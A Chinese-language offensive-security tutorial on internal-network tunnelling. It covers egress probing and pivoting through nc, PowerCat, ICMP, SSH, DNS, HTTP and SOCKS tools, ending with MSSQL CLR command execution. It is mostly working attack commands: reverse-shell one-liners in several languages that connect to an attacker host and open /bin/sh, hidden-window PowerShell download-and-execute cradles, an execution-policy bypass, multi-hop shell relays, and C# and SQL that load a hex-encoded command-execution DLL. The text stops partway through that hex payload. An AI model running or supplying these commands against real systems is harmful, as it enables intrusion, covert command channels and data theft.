內網常見隧道通信


常見的隧道如下:

  • 網絡層:IPV6、ICMP、iptables隧道
  • 傳輸層:TCP、UDP及其常規端口
  • 應用層:SSH、HTTP/HTTPS、DNS隧道

這里就從判斷連通性->使用什么隧道工具來學習。

判斷各種隧道連通性

首先出網判斷

  • 目標是否禁止出站IP
  • 目標是否禁止出站端口
  • 目標出網的協議

第一種情況就沒法反彈shell

探測出網的端口

例如探測Liunx下出網的端口或者使用其他軟件

for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";done

探測出網協議

探測ICMP協議

服務端監聽ICMP流量:tcpdump icmp 
客戶端ping VPS地址,查看服務端能否收到請求

探測DNS協議

Windows:nslookup、ping 
Linux:nslookup、dig、ping

判斷能否將域名解析為ip,判斷DNS協議是否出⽹。也可以將域名換成dnslog的域名,再看dnslog能否收到請求。

探測HTTP/HTTPS協議

Linux:
可以使用curl命令

Windows:
certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

傳輸層隧道

LCX

很老的工具了,就是基於Socks端口轉發,簡單列舉一下用法

LCX本地端口轉發

目標機:lcx.exe -slave vps 4444 本地機器IP IP端口 
VPS:lcx.exe -listen 4444 5555
連接vps:5555端口就行

本地端口映射

//實用於本地某些端口被防火牆攔截,將數據量轉發到可以出網的端口
lcx.exe -tran 53 本地機器IP 端口

NC

很常用的工具了,學到這里了還是記錄下吧。
這里先貼下手冊用法吧,然后貼一些常見的用法。

基本格式:nc [-options] hostname port[s] [ports] ... 
nc -l -p port [options] [hostname] [port]

-d 后台模式 
-e prog 程序重定向,一旦連接,就執行 [危險!!] 
-g gateway source-routing hop point[s], up to 8 
-G num source-routing pointer: 4, 8, 12, ... 
-h 幫助信息 
-i secs 延時的間隔 
-l 監聽模式,用於入站連接 
-L 連接關閉后,仍然繼續監聽 
-n 指定數字的IP地址,不能用hostname 
-o file 記錄16進制的傳輸 
-p port 本地端口號 
-r 隨機本地及遠程端口 
-s addr 本地源地址 
-t 使用TELNET交互方式 
-u UDP模式 
-v 詳細輸出--用兩個-v可得到更詳細的內容 
-w secs timeout的時間 
-z 將輸入輸出關掉--用於掃描時

端口掃描

nc -nv IP Port
nc -vz IP Port[范圍]

文件傳輸

nc.exe -lp 3333 >1.txt
nc.exe -vv 3333 <1.txt -q 1

反彈SHELL

nc -lvvp 4444 -e /bin/bash //正向Shell
nc ip port -e /bin/bash    //反向Shell

PHP

php -r '$sock=fsockopen("192.168.2.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Pyhton

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.102",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.2.102",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Perl

perl -e 'use Socket;$i="192.168.2.102";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

內網代理

VPS

nc -lvvp 3333

內網服務器

nc -lvvp 3333 -e /bin/bash

DMZ邊界服務器

nc VPS 3333 -c "nc 內網服務器IP 3333"

當然你需要查看的是你的nc是否使用 -c 或-e這種危險參數,我的ubuntu是沒有的在kali才有

本地端口轉發

//目標機
mkfifo fifo
nc -lvvp 4444 -e /bin/bash
nc -lvvp 8888 < fifo | nc -nvv 127.0.0.1 4444 > fifo
  
//VPS
nc 目標機 8888
  
//關於mkfifo
https://blog.csdn.net/jnu_simba/article/details/8953960

PowerCat

Powercat想當於Powershell版本的Nc,一些用法會給出案例
下載地址:https://github.com/besimorhino/powercat

權限問題及其繞過

因為Powershell默認權限是不允許執行任何腳本。我們需要再Powershell修改權限
Set-ExecutionPolicy Unrestricted
當然還有其他策略,只要能執行就行。
我們也可以通過三種常規的執行策略進行PS腳本的執行

本地策略繞過

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隱藏權限繞過執行

PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隱藏窗口) -File xxx.ps1

利用IEX下載遠程PS1腳本回來執行

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

第三種是最方便的我們就以第三種演示吧
image.png
因為是Powershell的NC用法基本也一樣的,可以自己查看命令幫助。

反彈shell和Powershell

nc反彈shell
image.png
我們知道了可以與nc反彈shell但是如果返回Powershell就需要都有Powercat,加上-ep參數即可
image.png
還可以使用-ge參數生成payload,自我感覺有一些雞肋。本地測試失敗。

傳輸文件

powercat -l -p 9999 -of test.txt -v
powercat -c 目標服務器 -p 9999 -i test.txt -v
// 其中 -i:代表輸入【也就是接收】  -of輸出文件名
  

DNS隧道通信

PowerCat是一套基於DNS通信的協議,他是基於dnscat設計的,所以使用的時候我們需要去安裝dnscat,並且是需要ruby的環境。

https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
//如果卡着不動考慮鏡像
https://blog.csdn.net/weixin_42215775/article/details/102951401

我們在vps輸入

ruby dnscat2.rb test.dns -e open --no-cache

在服務器上輸入

powercat -c 192.168.1.12 -p 53 -dns test.dns -e cmd.exe

image.png
實戰也是一樣的,下一篇會講解如何在公網搭建。
image.png

PowerCat端口轉發

這里測試了3389是失敗的。但是其他是沒問題的。小問題就是開始連一下就自動斷開了不清楚原因。
但是反彈shell是沒問題,挺穩定的。
這里舉下例子

轉發SHELL
powercat -l -v -p 9999 -e cmd.exe //內網
powercat -l -v -p 8888 -r tcp:內網:9999   //dmz邊界服務器
---------------------------------------------------------
powercat -l -v -p 9999 -e cmd.exe //內網
powercat -n 內網 -p 9999 -r tcp:8888 // dmz邊界服務器
VPS:連接DMZ邊界的9999端口就OK
-------------------------------------------------------
轉發端口同理Dmz邊界直接轉發就行 
-------------------------------------------------------------

DNS協議
ruby dnscat2.rb test.dns -e open --no-cache //vps
powercat -l -p 8888 -r dns:VPS地址::test.dns // dmz邊界服務器
powercat -c dmz邊界服務器 -p 8888 -e cmd.exe

網絡層隧道_ICMP

ICMP隧道是基於網絡層的,一般通信都是需要基於端口而ICMP則不需要,最常見的應用就是Ping命令。攻擊者可以利用命令得到比回復更多的ICMP請求。在一些條件下如果其他隧道都操作失敗了,而可以進行Ping命令訪問到主機,那么我們可以嘗試將TCP/UDP數據封裝到ICMP的ping數據包,從而穿過防火牆。

常見的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。

這里用icmpsh、PingTunnel來操作演示

ICMPSH反彈Shell

GITHUB:https://github.com/inquisb/icmpsh

首先在VPS安裝ICMPSH工具

使用icmpsh需要安裝python的impacket類庫,以便對於各種協議進行訪問

apt-get install python-impacket

因為icmpsh工具要代替系統本身的ping命令的應答程序,所以需要輸入如下命令來關閉本地系統的ICMP答應(如果要恢復系統答應,則設置為0),否則Shell的運行會不穩定.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

那我們如何獲取內網的公網IP呢。我們使用Ping命令到公網上看下他的出口IP

使用tcpdump icmp進行流量抓取,就可以看到IP出口。
image-20220313183529519.png
然后再目標機運行

icmpsh.exe -t VPS

image-20220313184133865.png
在VPS上運行,就可以看到我們反彈過來的Shell。

./icmpsh_m.py IP(公網)IP(內網的公網ip地址)

image-20220313184244254.png
如果不用了記得將其改回0

sysctl -w net.ipv4.icmp_echo_ignore_all=0

PingTunnel國外

端口轉發

首先如果沒有pcap先進行

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
./configure 
make&&make install

再進行ptunnel下載

Download:http://freshmeat.sourceforge.net/projects/ptunnel/
進行安裝 make && make install

我們首先在內網邊界WEB服務器進行

ptunnel -x cs

在VPS上輸入

ptunnel -p 目標靶機IP -lp 8888 -da web服務器內網的其他ip -dp 3389 -x cs

這是內網邊界WEB服務器server.png
1.1.1.4是我們內網的其他服務器
image-20220313185018379.png
然后再我們的VPS上進行
VPS.png
然后我們再再本地機器去鏈接我們VPS開放的端口8888就可以連接我們內網的3389client.png
最開始嘗試的是編譯好軟件去WIN測試但是失敗,可能編譯軟件有問題。同時在Liunx又沒問題。

PingTunnel國內

國人也有寫了一款Pingtunnel的工具 功能相對強大包括Socks的轉發。
https://github.com/esrrhs/pingtunnel

Socks5代理

WEB服務器

./pingtunnel -type server -noprint 1 -nolog 1

VPS

./pingtunnel -type client -l :1080 -s 192.168.1.13 -sock5 1 -noprint 1 -nolog 1

image.png

端口轉發

WEB服務器

#關閉icmp回復,如果要開啟icmp回復,該值設置為0
sysctl -w net.ipv4.icmp_echo_ignore_all=1 
#監聽 
./pingtunnel -type server -noprint 1 -nolog 1

VPS

#將WEB⽬標主機的8081端⼝轉發到本地的8080端⼝ 
pingtunnel.exe -type client -l :8080 -s WEB服務器 -t WEB服務器:8081 -tcp 1 noprint 1 -nolog 1

UDP自行查看GAYHUB上面例子

ICMP上線CS

https://xz.aliyun.com/t/10626#toc-16

應用層隧道

應用層的話大多是靠該軟件本身提供的端口發送數據

SSH

ssh開始是需要進行文件的配置,配置完記得重啟ssh

vi /etc/ssh/sshd_config	//ssh配置文件
AllowTcpForwarding yes			是否允許轉發TCP協議
GatewayPorts yes					  是否允許遠程主機連接本地轉發端口
PermitRootLogin yes				  是否允許root登錄
PasswordAuthentication yes	是否允許使用基於密碼的認證
TCPKeepAlive yes					  保持心跳,防止ssh斷開

SSH的一些參數說明

-C:壓縮傳輸,提高傳輸速度。
-f:將SSH傳輸轉人后台執行,不占用當前的Shell。
-N:建立靜默連接(建立了連接,但是看不到具體會話)。
-g:允許遠程主機連接本地用於轉發的端口。
-L:本地端口轉發。
-R:遠程端口轉發
-D:動態轉發(socks代理)
-P:指定SSH端口

本地轉發

當我們拿下一台dmz服務器,外部VPS可以訪問DMZ,訪問不了內網其他服務器所以以它為跳板訪問我們內網的其他服務器端口將其轉發出來。

ssh -CfNg -L 8888[VPS端口]:內網其他服務器:端口 ubuntu@192.168.1.13[DMZ跳板機]

image.png

遠程轉發

當我們拿下一台內網的web服務器但是他沒有邊界服務器。外部VPS訪問不了任何機器。但是內網WEB服務器可以訪問外網的VPS。其他的內網機器不行我們可以嘗試遠程轉發。
我們拿下內網的某WEB服務器

ssh -CfNg -R 8888[vps端口]:1.1.1.4:3389[內網其他] root@192.168.1.12[VPS]

image.png
我們的VPS
查看端口是否開放然后嘗試連接
image.png

動態轉發

我們在VPS建立一個SOCKS4/5代理隧道

ssh -CfNg -D 1080 ubuntu@192.168.1.13[DMZ邊界服務器]

然后查看是否開放VPS端口,然后去游覽器設置代理
image.png
就可以訪問到我們內網的任意東西,還可以直接進行socks代理對我們內網進行一個掃描掛一個socks代理就好了。

//臨時窗口代理,或者直接使用軟件都是OK的
export ALL_PROXY=socks5://代理
set ALL_PROXY=socks5://代理

image.png

HTTP/HTTPS

常見的代理工具有reGeorg、meterpreter、tunna等
reGeorg是reDuh的升級版。主要就是把內網的數據通過http/https轉發出來。
reGeorg特征也是很明顯的,很多殺毒基本都會進行查殺。這里附一個下載鏈接。

https://github.com/sensepost/reGeorg //原版
https://github.com/L-codes/Neo-reGeorg //重構修改版

這里使用的是重構版本,使用說明GayHub是有的。我們先把腳本上傳到內網的機器,因為是PHP搭建的所以直接上傳PHP版本的。

python3 neoreg.py generate -k password  //生成腳本上傳

image.png
然后我們在DMZ服務器上面執行如下【注意-l】

python3 neoreg.py -k password -l 0.0.0.0 -u http://1.1.1.4/tunnel.php //這樣才可以讓別人連接

然后使用VPS去鏈接,如果不指定0.0.0.0他就是本地開啟的,所以需要對外開放。
image.png
但是我們這樣子一些工具是用不了的所以需要一個工具 Proxychains-Ng

# Linux
$ git clone https://github.com/rofl0r/proxychains-ng.git     # 下載
$ cd proxychains-ng && ./configure &&  make && make install  # 編譯安裝
$ cp ./src/proxychains.conf /etc/proxychains.conf            # 拷貝配置文件
$ cd .. && rm -rf proxychains-ng                             # 刪除目錄(可不執行)
--------------------------------------------------------------------------------
#配置
# 找到proxychains.conf文件所在的路徑
# 將socks4 127.0.0.1 9095改為 socks5 127.0.0.1 1080
$ vim /etc/proxychains.conf            # Kali

image.png
使用方法就是

# 用法: proxychains4  XXX
$ proxychains4 curl ifconfig.io

image.png

DNS

DnsCat2

首先在VPS安裝dnscat2

//前提環境
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
----------------------------//dnscat2安裝
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
//如果卡着不動考慮鏡像
https://blog.csdn.net/weixin_42215775/article/details/102951401

這里再說一下dnscat2隧道模式有兩種,分別是直連模式和中繼模式。

  • 直連模式:客戶端直接向指定IP地址DNS發起請求
  • 中繼模式:DNS經過互聯網迭代解析,指向指定的DNS服務器。與直連比較速度慢,但隱蔽性和穩定性強。

因為直連有很明顯的特征,中繼大大減少,可以抓包查看。

中繼模式

我們需要先再服務器配置一個域名
然后創建A記錄,講我們的域名解析服務器指向VPS的地址,然后創建NS記錄,將解析的結果指向我們的A記錄
image.png
之所以設置NS類型記錄不是用於設置某個域名的服務器而是某一個子域名的DNS服務器。
因為NS只能設置成域名形式而不是IP所以我們需要一條A記錄指向我們的IP
image.png
如何判斷設置是否成功可以先對其PING 如何指向我們的A記錄 說明A記錄成功,那么NS記錄怎么判斷,可以在VPS抓包然后使用nslookup查找,如果有響應就說明成功,如上圖。
下面直接開始操作,我們先再VPS設置如下

ruby dnscat2.rb vpn.xxx.cn -e open --no-cache -c test
// -c是共享秘鑰防止中間人進行攻擊的

然后再目標機器上使用編譯好的Client,因為Client是用C語言編寫的。
如果是LIunx,進入目錄Make一下也是OK,然后就是如圖所示。
Client:

查看是否能通訊
dnscat2.exe --ping vpn.xxx.com
建立連接
dnscat2.exe --dns domain=vpn.xxx.com --secret=test

image.png
我們可以查看下有那些命令進行操作
image.png

* clear			清屏
* delay			修改遠程響應延時
* download	下載程序
* exec			執行程序
* listen		類似SSH -L的本地轉發 例如listen 0.0.0.0:53 xxx:33
* ping			確認目標是否在線,返回Pong就說明在線
* quit			退出dnscat2控制台
* set				
* shell			
* shutdown	切斷對話
* suspend		返回上一層
* tunnels		
* unset			
* upload		
* window		列舉所有通道
* windows -i  連接某個通道

例如執行exec calc
image.png
當然我們還可以使用powershell版本 那樣會更加的安全可以直接使用

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
start-Dmscat2 -Domain vpn.xx.com -PreSharedSecret 密碼 -DNSServer vps_ip

或者一條命令在內存直接運行

powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain vpn.xx.com -PreSharedSecret 密碼 -DNSServer vps_ip}

直連模式

VPS

ruby dnscat2.rb -s 553 -e open --no-cache -c test

Client

dnscat2.exe --dns server=VPSIP,port=553 --secret=tes

操作和上面一樣,powershell同理。

iodine

下載

windows版本:
https://code.kryo.se/iodine/
Liunx:
apt-get install iodine

iodine支持直接轉發和中繼兩種模式,原理:通過TAP虛擬網卡,在服務器簡歷一個局域網;在客戶端通過TAP簡歷虛擬網卡,兩者通過DNS隧道使其在同一個局域網。
域名設置問題在上面DnsCat2已經有這里不多介紹。
這里介紹一下iodined的一些命令用法

-f 前台運行
-c 禁止檢查所有傳入請求客戶端IP地址
-P 客戶端和服務器直接的通信密碼
-D 調試級別 -DD 是二級
-r iodine有時候會自動將DNS隧道切換UDP隧道,這個參數是一直使用DNS
-M 上行主機大小
-m 調節最大下行分片大小
-I 請求時間間隔

VPS:
這個網站可以檢查你是否配置OK:https://code.kryo.se/iodine/check-it/

iodined -f -c -P test 192.168.0.1 vpn.r0ser1.cn -DD

Windows客戶端:
這里需要注意的是windows需要安裝一塊TAP網卡驅動,也可以下載OpenVpn在安裝的時候選擇僅選擇TAP-Win32驅動
http://www.qudong51.net/qudong/981.html【隨便找的】
image.png
可以看到多出來的網卡驅動
image.png
然后打開我們的iodine

iodine.exe -f -P test vpn.r0ser1.cn

但是需要管理員
image.png
使用管理員可以看到成功多了一塊網卡和IP,這樣192.168.0.x就是局域網了。
image.png
我們在VPS直接連接我們的局域網IP的80端口看看
image.png
沒有一點問題,然后就可以配置一下其他的代理動態的出網。
例如使用上面http那個隧道NG-reGeorg,都是可以配合使用的
例如把內網的其他機器通過http->dns流量出來
image.png
Liunx客戶端:

iodine -f -P test vpn.r0ser1.cn -M 200

然后方法都是一樣,例如配合SSH使用等等

一些工具的使用

iptables端口轉發

iptables的是一個用戶空間實用程序,其允許系統管理員來配置IP分組過濾器規則的的Linux內核 防火牆,所以他是需要ROOT權限才能操作的,否則是無法運行的。

基礎配置

1.編輯sysctl配置文件 vim /etc/sysctl.conf
然后找到net.ipv4.ip_forward=1 就行
image.png
2.臨時修改

$ echo 1 >/proc/sys/net/ipv4/ip_forward

本地端口轉發

原理:REDIRECT模式是防火牆所在的機子內部轉發包或流到另一個端口,也就是所有接收的包只轉發給本地端口


將本機的 7777 端口轉發到 6666 端口。

iptables -t nat -A PREROUTING -p tcp --dport 7777 -j REDIRECT --to-port 6666

雖然沒開7777端口但是還是可以看到被轉發給了處於偵聽狀態的 6666 端口。
image.png

遠程端口轉發

原理:DNAT模式是用來做目的網絡地址轉換, 可以做某種類型地負載平衡。SNAT模式用來源網絡地址轉換的,就是重寫包的源IP地址。如果直接轉發包的話,網絡響應包上就不知道往哪兒發送應答,所以需要改為防火牆的地址


現在比如我們拿到了WEB邊界服務器A和內網服務器B
A可以出網 B不能出網 A可以訪問B VPS<-->A<-->B
我們在A服務器:

iptables -t nat -A PREROUTING -d "對外公網ip" -p tcp --dport "對外端口" -j DNAT --to "內部實際提供服務的ip":"實際提供服務的端口"

在B服務器

iptables -t nat -A POSTROUTING -d "內部實際提供服務的ip"-p tcp --dport "實際提供服務的端口" -j SNAT --to-source "運行iptables機器的內網ip

實測反正沒成功文章推薦
https://www.freebuf.com/articles/web/289254.html
https://www.coonote.com/linux-note/linux-iptables-forwarding-method.html

FRP(目標出網)

工具下載:https://github.com/fatedier/frp/releases
在VPS上我們直接使用frp模式的配置就好了

./frps
或者你自定義的一些配置
./frps -c frps.ini

在我們web服務器上配置如下

[common]
server_addr = 你的VPS
server_port = 7000

[ssh]
type = tcp
plugin = socks5
remote_port = 6000

然后去連接我們VPS的6000端口就可以了。或者作一些端口映射的操作,配置下就行。
image.png

NPS

下載地址:https://github.com/ehang-io/nps/releases
uname -m查看自己什么構架一般下amd64和386
這個還是比較有意思的圖形化界面
下載Server我放在VPS上搭建,然后再/conf/nps.conf配置一下

http_proxy_port:80 防止占用修改為8080
https_proxy_port:443 防止占用修改為4433
bridge_port :8024
web_port :8088 防止占用

然后啟動就行,訪問VPS:8088
點擊新建客戶端,我一般就寫驗證秘鑰
image.png
然后我們去下載客戶端下載好了發現又conf文件,可以要可以不要,這里選擇不要直接Vkey連接。

Windows:npc.exe -server=ip:port -vkey=服務端生成的key
Linux:./npc -server=ip:port -vkey=服務端生成的key

然后點擊SOCKS代理新增一條我們的ID和端口就行
image.png
然后我們就可以訪問我們VPS:9993端口進行內網漫游了
image.png

IOX

一些相比EW lcx的介紹與不同及其用法
https://github.com/EddieIvan01/iox/blob/master/docs/README_CN.md
下面就直接使用吧,上面都介紹的很清楚了。

fwd轉發模式

將內網出網主機的RDP轉發到VPS
VPS:

./iox fwd -l *9998 -l 33890 -k 656565

目標機器:

iox.exe fwd -r 1.1.1.4:3389 -r *VPS:9998 -k 656565

然后我們連接我們VPS的33890就可以了

Proxy[反代]

我們如果都要加密的話就需要

./iox proxy -r *vps:9999 -k 656565 (webshell上執行)
./iox proxy -l *9999 -l *1080 -k 656565(vps上執行)
./iox fwd -l 1088 -r *vpsip:1080 -k 656565(自己的機器)

然后訪問1088,如果不加密本地監聽的1080就可以直接連VPS SOCKS就行

Proxy[正代]

如果他有公網的IP

./iox proxy -l 1080

EW

下載地址:https://github.com/idlefire/ew
ew有六種模式,分別是:

  • ssocksd
  • rcsocks
  • rssocks
  • lcx_slave
  • lcx_listen
  • lcx_tran

ssocksd是用於普通網絡環境下的正向連接。rcsocks 和 rssocks 用於反向連接。lcx_slave 、lcx_listen 和 lcx_tran 用於復雜網絡環境的多級連接。
常見的參數

-s: 狀態功能選擇
-l:指定要監聽的本地端口
-d:指定要反彈到的機器 ip
-e:指定要反彈到的機器端口
-f:指定要主動連接的機器 ip
-g:指定要主動連接的機器端口
-t:指定超時時長,默認為 1000

一級代理

正向代理

當我們如果有公網時候可以使用

./ew -s ssocksd -l 1080

反向代理

如果目標機器沒有公網,但是他是可以出網的我們可以在VPS上搭建一個轉接隧道,將VPS 1080監聽端口的流量轉發到9999端口,然后目標主動連接VPS的888端口,就可以

VPS:./ew -s rcsocks -l 1080 -e 9999
目標機器:./ew -s rssocks -d VPS_IP -e 9999

image.png

二級代理

例如:

  • 拿到了一台外網服務器A可以出網
  • 拿到一台內網服務器B不能出網

A可以訪問B,但是我們核心是要拿下服務器C,但是A不能訪問C可以訪問B
於是我們可以逆向推導就好了

B服務器
ew -s ssocksd -l 9999
A服務器
ew -s lcx_slave -d vps_ip -e 8888 -f 服務器B -g 9999
VPS
ew -s lcx_listen -l 1080 -e 8888

或者比如說B服務器反向連A[因為A可以出網],然后直接使用A的socks代理不久好了,很多思路都可以操作。

三級代理

例如A B C D核心是拿到D但是只有**A出網 **
VPS<-->A<-->B<-->C->D
除了箭頭所指向均不能調級訪問

C服務器
ew -s rssocks -d B服務器 -e 777
B服務器
ew -s lcx_listen -l 999 -e 777
A服務器
ew -s lcx_slave -d VPS -e 888 -f B服務器 -g 999
VPS
ew -s rcsocks -l 1080 -e 888

Venom

介紹和下載地址:https://github.com/Dliv3/Venom/blob/master/README.md

一級代理

反向代理

VPS:

./admin_linux_x64 -lport 9999 -passwd cs

WEN公網服務器

./agent -rhost vps_ip -rport 9999 -passwd cs

連接上以后會有提示成功
然后我們輸入

show //查看節點
goto 1
socks 1080

image.png
然后掛代理就可以連接我們內網其他服務器
image.png

正向代理

當目標器有公網IP且端口出網,可以直接目標主機開啟,然后我們本地或着VPS連接。

目標主機:
./agent_linux_x64 -lport 8888

VPS或着我們自己去:
admin.exe -rhost target_ip -rport 8888

goto節點然后建立socks代理
goto 1 
socks 1080

二級代理

例如:

  • 拿到了一台外網服務器A可以出網
  • 拿到一台內網服務器B、C不能出網

A可以訪問B,但是我們核心是要拿下服務器C,但是A不能訪問C可以訪問B
VPS<-->A<-->B-->C
箭頭所示。我們要拿下C

反向代理

VPS:

./admin_linux_x64 -lport 9999 -passwd cs

A公網服務器

./agent -rhost vps_ip -rport 9999 -passwd cs

連接上以后會有提示成功
然后goto 一下 再A的服務器監聽7788端口

show
goto 1
listen 7778

image.png
然后B的服務器去反向連接A

agent.exe -rhost 1.1.1.7 -rport 7788 -passwd cs

image.png
然后

show
goto 2
socks 8787

image.png
我們去連接一下8787,沒有任何問題
image.png
我們也可以shell一下查看我們拿下的B服務器
image.png

正向連接

也很簡單 逆向思考一下就是我們A-->B 主動連B

VPS:
./admin_linux_x64 -lport 9999 -passwd cs

A:
./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd cs

B:
agent.exe -lport 9999 -passwd cs

show 
goto 1 也就是A
connect to 1.1.1.4 9999

show 
goto 2
socks 6666
就OK啦

image.png
連接6666
image.png

三級代理

例如A B C D核心是拿到D但是只有**A出網 **
VPS<-->A<-->B<-->C->D
除了箭頭所指向均不能跳級訪問
三級代理就是在二級代理基礎上再建立一個反向代理或者正向代理
用上面二級代理直接添加就行,這里就不記錄了。
image.png
image.png
個人感覺比EW人性化一點。

MSSQL突破

假如我們拿到了側服務器權限通過信息收集控制了MSSQL數據庫,此數據庫與DMZ邊界服務器想通,但是防火牆只允許1433端口通過,無法訪問核心數據庫。附圖一張
image.png
CLR微軟官方把他稱為公共語言運行時,從 SQL Server 2005 (9.x) 開始,SQL Server 集成了用於 Microsoft Windows 的 .NET Framework 的公共語言運行時 (CLR) 組件。 這意味着現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)來編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合和流式表值函數。

在利用MSSQL服務實現命令執行的時候,通常的做法是利用xp_cmdshell存儲過程在MSSQL進程的上下文中運行操作系統命令。如果要想利用這種技術運行自定義代碼,通常需要使用LOLBINS,添加新的操作系統用戶,或通過BCP向磁盤中寫入二進制文件,這些方法的缺點是很容易被發現。CLR方式可以利用16進制文件流方式導入DLL文件,這樣不需要文件落地
我們將下面代碼轉為DLL

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

使用csc.exe 編譯 dll 文件

這個也可以編譯但是根據框架來的 用這個默認.NET4.5了

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\cmdexce.cs

所以這里去VS進行操作,下面那個網站是有流程的。這里我用.NET3.5才可以成功。他是用的4。
這里只針對SQLSERVER2017以下來實驗,高版本CLR請參考
https://paper.seebug.org/1525/#sql-server-clr
顯示高級選項

sp_configure 'clr enabled',1;RECONFIGURE;

啟動CLR

sp_configure 'clr enabled',1;RECONFIGURE;

將存儲.Net程序集的數據庫配置為可信賴的

ALTER DATABASE master SET TRUSTWORTHY ON;

寫入編譯的dll文件

DECLARE @ob INT
EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT
EXEC sp_OASetProperty @ob, 'Type', 1
EXEC sp_OAMethod @ob, 'Open'
EXEC sp_OAMethod @ob, 'Write', NULL, 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010300f47e475e0000000000000000e00002210b010b000008000000060000000000005e270000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000042700005700000000400000a802000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e7465787400000064070000002000000008000000020000000000000000000000000000200000602e72737263000000a80200000040000000040000000a0000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000000e000000000000000000000000000040000042000000000000000000000000000000004027000000000000480000000200050028210000dc050000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013300500c30000000100001100730400000a0a066f0500000a72010000706f0600000a00066f0500000a72390000700f00280700000a280800000a6f0900000a00066f0500000a166f0a00000a00066f0500000a176f0b00000a00066f0c00000a26178d090000010c081672490000701f0c20a00f00006a730d00000aa208730e00000a0b280f00000a076f1000000a000716066f1100000a6f1200000a6f1300000a6f1400000a00280f00000a076f1500000a00280f00000a6f1600000a00066f1700000a00066f1800000a002a1e02281900000a2a0042534a4201000100000000000c00000076342e302e33303331390000000005006c000000e0010000237e00004c0200009402000023537472696e677300000000e0040000580000002355530038050000100000002347554944000000480500009400000023426c6f620000000000000002000001471502000900000000fa253300160000010000000f000000020000000200000001000000190000000300000001000000010000000300000000000a000100000000000600380031000a0060004b000600a50085000600c50085000a000701ec000e0030011d010e0038011d0106006e0131000a00bf01ec000a00cb013f000a00d501ec000a00e301ec000a00ee01ec0006001a02100206003a0210020000000001000000000001000100010010001700000005000100010050200000000096006a000a0001001f21000000008618730010000200000001007900190073001400210073001000290073001000310073001000310049011e00390057012300110064012800410075012c0039007c01230039008a01320039009e0132003100b9013700490073003b005900730043006100f6014a006900ff014f0031002702550079004502280009004f022800590058025a00690062024f0069007102100031008002100031008c02100009007300100020001b0019002e000b006a002e00130073006000048000000000000000000000000000000000e3000000040000000000000000000000010028000000000004000000000000000000000001003f000000000004000000000000000000000001003100000000000000003c4d6f64756c653e00636d645f657863652e646c6c0053746f72656450726f63656475726573006d73636f726c69620053797374656d004f626a6563740053797374656d2e446174610053797374656d2e446174612e53716c54797065730053716c537472696e6700636d645f65786563002e63746f720065786563436f6d6d616e640053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300436f6d70696c6174696f6e52656c61786174696f6e734174747269627574650052756e74696d65436f6d7061746962696c69747941747472696275746500636d645f65786365004d6963726f736f66742e53716c